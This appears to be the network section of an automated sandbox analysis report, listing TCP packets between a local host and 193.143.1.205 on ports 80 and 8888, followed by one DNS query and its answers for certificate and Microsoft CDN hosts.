Jan 11, 2025 01:29:10.611661911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611700058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611990929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612006903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612020969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612045050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612046003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612061024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612076044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612095118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612098932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612113953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612116098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612129927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612145901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612154961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612160921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612174988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612183094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612190962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612205982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612215996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612221956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612237930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612248898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.612255096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.612277031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.641691923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.641740084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.641772985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.642322063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.642364025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.642381907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.642409086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.642436981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.642448902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.642452002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.642467976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.642491102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.654865026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.654886007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.654910088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.654936075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.654959917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.654973030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.654974937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.654989958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655004978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655009985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.655040026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.655114889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655131102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655154943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655167103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.655169010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655184984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655200958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655204058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.655237913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.655252934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655268908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.655309916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.684253931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.684437037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684511900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684549093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684556007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.684582949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684617043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684628010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.684652090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684684992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684712887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.684720039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.684801102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.696877956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.696894884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.696909904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.696962118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.696980000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.696995974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697020054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697031021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697036028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697051048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697065115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697066069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697093010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697127104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697141886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697168112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697221994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697237968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697253942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697263002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697272062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697299957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697356939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697376013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697390079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697401047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697408915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697428942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697436094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697464943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697479963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697669029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697702885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697715044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697737932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697778940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697820902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697854996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697890997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697900057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.697927952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.697969913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698012114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698045969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698096991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698106050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698132038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698168993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698175907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698203087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698240995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698254108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698271990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698318005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698426008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698460102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698493958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698503971 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698528051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698560953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698571920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698594093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698627949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698642969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698659897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698693037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698707104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698725939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698764086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698769093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698818922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698868990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698873043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698925018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698957920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.698967934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.698992014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699023962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699033976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.699059010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699091911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699106932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.699125051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699161053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699174881 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.699194908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699232101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699239969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.699266911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699301004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699306011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.699361086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699393988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.699404001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.727474928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.727490902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.727525949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.729099035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.729111910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.729137897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.729154110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.729163885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.729171991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.729172945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.729187965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.729214907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.741647005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741677046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741710901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741729975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.741745949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741765022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.741779089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741833925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.741833925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741885900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741921902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741931915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.741955996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741990089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.741996050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.742022991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742058039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742063999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.742093086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742130041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742139101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.742181063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742219925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742223024 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.742249012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.742291927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.771079063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771117926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771155119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771203995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771229982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.771239042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771266937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.771271944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771306992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771332026 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.771352053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771384954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771395922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.771420956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.771462917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.783690929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783744097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783778906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783788919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.783814907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783848047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783863068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.783879995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783921957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.783931971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.783971071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784008980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784022093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784073114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784121990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784123898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784157991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784192085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784197092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784224987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784260988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784265995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784295082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784327984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784334898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784362078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784398079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784408092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784432888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784473896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784482002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784537077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784569025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784576893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784604073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784631968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784650087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784665108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784698963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784706116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784732103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784766912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784779072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784897089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784929991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784939051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.784962893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.784996986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785003901 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785034895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785067081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785073996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785103083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785135984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785145044 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785175085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785209894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785216093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785243988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785278082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785290956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785367012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785406113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785408974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785439968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785474062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785481930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.785511971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785541058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.785556078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.828296900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.872575045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:11.146266937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:11.616998911 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:11.621876001 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:11.624252081 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:11.624454975 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:11.629245996 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:12.411233902 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:12.453397036 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:12.677494049 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:29:24.512103081 CET	49826	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:29:24.512103081 CET	192.168.2.8	1.1.1.1	0x6ff4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:29:24.519555092 CET	1.1.1.1	192.168.2.8	0x6ff4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:29:25.288209915 CET	1.1.1.1	192.168.2.8	0xc14b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:25.288209915 CET	1.1.1.1	192.168.2.8	0xc14b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:29:38.185689926 CET	1.1.1.1	192.168.2.8	0x147b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false

